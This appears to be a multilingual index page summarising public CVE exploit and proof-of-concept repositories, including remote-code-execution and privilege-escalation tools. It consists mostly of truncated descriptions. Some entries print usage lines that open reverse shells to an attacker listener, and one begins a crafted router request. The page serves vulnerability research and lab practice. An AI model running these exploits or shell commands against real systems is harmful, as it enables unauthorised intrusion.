CVE-2025-31337

CVE-2025-31337 보안 권고 CVE ID: CVE-2025-31337 발행일: 2025-03-15 CVSS 점수: 9.8 Critical CWE: CWE-120 Buffer Copy without Checking Size of Input 설명 AIDR ChatBot Framework 버전 4.2.0 및 이전 버전에서 심각한 버퍼 오버플로 취약점이 발견되었습니다. 이 취약점은 generateresponse 함수에 존재하며, 처리하기 전에 사용자가 제공한 CVE 세부 정보를 제대로 살균하지 못합니다. 공격자는 예상 버퍼...

CVE-2025-32463

CVE-2025-32463 は、影響を受けるバージョンのsudoに影響を与えるローカル権限昇格の脆弱性です。この欠陥は、sudo -R chroot機能をLinux Name Service Switch（NSS）メカニズムと組み合わせて悪用し、sudoに攻撃者が制御する共有ライブラリをrootとして強制的にロードさせます。細工されたchroot環境内でnsswitch.confを操作することにより、攻撃者はroot権限で任意のコードを実行し、rootシェルを起動できます。 chwoot.sh...

CVE-2025-59287---WSUS-SCCM-RCE

CVE-2025-59287 - WSUS / SCCM RCE 元のエクスプロイトに基づく: https://gist.github.com/hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b ysoserial.exe を指定して、任意のコマンドを実行できるようになりました: https://hawktrace.com/blog/cve-2025-59287/ https://hawktrace.com/blog/cve-2025-59287-unauth/...

CVE-2025-54123

CVE-2025-54123 概要 HoverFly のミドルウェア API エンドポイントにおける、入力検証の不備と安全でないコマンド実行による認証済みリモートコード実行（RCE）。 攻撃フロー 1. 認証 攻撃者は有効な認証情報またはセッショントークンを使用して HoverFly に認証する /api/token-auth エンドポイント経由で Bearer トークンを取得する 2. 悪意のあるペイロードの作成 攻撃者は以下の内容を含む JSON ペイロードを構築する: binary: /bin/bash（ユーザー制御） script: 任意のシェルコマンド（例:...

CVE-2022-25064

CVE-2022-25064 TP-LINK TL-WR840N における oalwan6setIpAddr 関数を介した RCE 実証コード（POC） root@kitploit: POST /cgi?2&2&2 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:95.0 Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3...

CVE-2024-22274

CVE-2024-22274: VMware vCenter Serverにおける認証済みリモートコード実行 vCenter Serverには、認証済みリモートコード実行の脆弱性が存在します。悪意のあるアクターがvCenterアプライアンスシェルに対する管理者権限を持つことで、この問題を悪用し、基盤となるオペレーティングシステム上で"root"ユーザとして任意のコマンドを実行する可能性があります。 ベンダー開示情報: この脆弱性に関するベンダーの開示情報はこちらをご覧ください。 必要条件: この脆弱性には以下が必要です: "admin"ロールを持つユーザの有効な資格情報 概念実証:...

cve-2019-11447

CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC 目标： 2.1.2 这个PoC脚本基于BobbySox 原始漏洞利用的简单实现。原始漏洞利用是Akuss 编写的MSF模块。 该脚本需要目标IP地址或域名以及凭据，它会自动登录、上传载荷、触发并捕获反弹shell。 root@kitploit: python cve-2019-11447.py -t 10.10.10.206 -u twh -p p4ssw0rd -lh 10.10.16.2 -lp 4444 -f shell...

Flowise-RCE

Flowise-RCE CVE-2025-58434 & CVE-2025-59528...

EXPLOIT-CVE-2026-56121

CVE-2026-56121 — Feast の認証なし RCE（ApplyFeatureView gRPC デシリアライゼーション） Feast（ 0.63.0）における、レジストリ gRPC サーバー の安全でない dill.loads デシリアライゼーションを介した認証なしリモートコード実行。このリポジトリには、自己完結型の概念実証エクスプロイトと、それを検証するための Docker 化された脆弱性ラボが含まれています。...

CVE-2025-49132

影響 /locales/locale.json を locale と namespace クエリパラメータとともに使用することで、認証なしで悪意のある攻撃者が任意のコードを実行できます。 任意のコードを実行できるため、この脆弱性は無数の方法で悪用される可能性があります。パネルのサーバーへのアクセス、パネルの設定 .env など からの認証情報の読み取り、データベースからの機密情報 ユーザー詳細 ユーザー名、メール、氏名、ハッシュ化されたパスワード、IP アドレスなど の抽出、パネルが管理するサーバーのファイルへのアクセスなどに使用される可能性があります。 使用方法...

CVE-2026-5817-PoC

CVE-2026-5817: Docker Model Runner コンテナからホストへのRCE / エスケープ Docker Desktop 4.40.0〜4.67.x ホスト上の任意のコンテナは、2つのHTTPリクエストでホスト上でコードを実行できます。ソケットのマウントも --privileged もケーパビリティも不要です。 仕組み すべてのコンテナは、認証なしで model-runner.docker.internal のModel Runnerに到達できます。Model...

CVE-2023-43208-PoC

Mirth Connect RCE エクスプロイト CVE-2023-43208 このスクリプトは、Mirth Connect （4.4.1より前のバージョン）のリモートコード実行（RCE）脆弱性に対する概念実証（PoC）です。APIを介してXStreamの逆シリアル化の脆弱性を悪用します。 要件 Python 3.10 以上（3.13 にも対応）。 ターゲットへのネットワーク接続。 ツールの使い方 root@kitploit: python3 CVE-2023-43208.py -u https://IP-victima -lh IP-atacante -lp puerto インストー...

struts-s2-052-deserialization-rce-lab

Apache Struts S2-052 XMLデシリアライゼーションRCE このリポジトリは、悪意のあるXMLデシリアライゼーションを利用したApache Struts S2-052 CVE-2017-9805のエクスプロイトを示しています。 このエクスプロイトは、INE eWPTX Practice Range – Struts XML Deserialization RCEラボ を解く際に作成されました。 脆弱性の概要 Apache Struts RESTプラグインは、XStream を使用してXMLリクエストをデシリアライズします。 アプリケーションが以下のXMLを処理する場合：...

CVE-2024-9707

CVE-2024-9707 Hunk Companion = 1.8.4 - 認可欠如による未認証の任意プラグインのインストール/有効化 説明 WordPress 用プラグイン Hunk Companion は、バージョン 1.8.4 までの全バージョンにおいて、/wp-json/hc/v1/themehunk-import REST API...

lab-cve-2025-57819

作業中 FreePBX CVE-2025-57819 ラボ - 未認証 SQLi → RCE チェーン Nuclei POC 再現可能な FreePBX 15 ラボ Docker を立ち上げて、CVE-2025-57819 を検証します。これは、userman AJAX エンドポイントにおける、RCE にチェーン可能な重大な未認証 SQL インジェクションです。動作する Nuclei テンプレート バージョンチェックではなく動作ベース と、デバッグに適したテストハーネスが含まれています。 ハイライト userman エンドポイントに対する未認証の時間ベース SQLi POC SLEEP...

CVE-2024-23897-Vulnerabilidad-Jenkins

Jenkins における脆弱性 CVE-2024-23897 の悪用 脆弱性の説明: CVE-2024-23897 CVE-2024-23897 は、人気のある継続的インテグレーションツールである Jenkins で発見された重大な脆弱性です。この脆弱性により、ノードへのアクセスおよび接続機能に対する適切な制限が欠如しているため、Jenkins サーバー上でリモートコード実行 RCE が可能になります。 脆弱性の詳細: CVE-ID : CVE-2024-23897 Type : リモートコード実行 RCE Impact :...

CVE-2014-6271

🚨 CVE-2014-6271 — “Shellshock” 25년간 묵혀온 제로데이 원격 코드 실행 — 환경 변수를 통한 GNU Bash 취약점 📖 개요 CVE-2014-6271 , 일명 Shellshock 또는 Bashdoor는 GNU Bash 셸의 치명적인 원격 코드 실행RCE 취약점입니다. 공격자는 특수하게 조작된 환경 변수HTTP 헤더, DHCP, SSH 등을 통해를 전송하여 원격 셸 접근 을 얻을 수 있으며, 대개 인증이나 사용자 상호작용 없이도 가능합니다. 🧠 취약점 요약 ⚙️ 기술 분석 📨 1단계 — 악성 환경 변수...

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 — PHPオブジェクトデシリアライゼーションによるRoundcube認証後RCE 概要...

CVE-2011-2523-exploit

CVE-2011-2523 エクスプロイト vsFTPd 2.3.4 バックドア このプロジェクトは、vsFTPd 2.3.4 のバックドア脆弱性 CVE-2011-2523 を Python と pwntools を使用して悪用する方法を示しています。 免責事項: このプロジェクトは教育目的および許可されたペネトレーションテストの目的のみで使用してください。許可なくシステムに対して使用しないでください。 脆弱性の概要 CVE ID: CVE-2011-2523 影響を受けるソフトウェア: vsFTPd 2.3.4 タイプ: バックドア / リモートコマンド実行 ポート: 21 FTP,...

log4j2-rce-recap

log4j2 のリモートコード実行 CVE-2021-44228 の簡単なまとめ 必要条件 maven = 3 java = 8 127.0.0.1:1389 で ldap が実行されていないこと 使用方法 maven でビルドします。 root@kitploit: mvn test surefire プラグインは2回実行されます： ExploitabilityTest はバグの悪用可能性を証明します。 MitigationTest は VM プロパティ -Dlog4j2.formatMsgNoLookups=true を指定して実行され、緩和策の有効性を証明します。 要するに log4...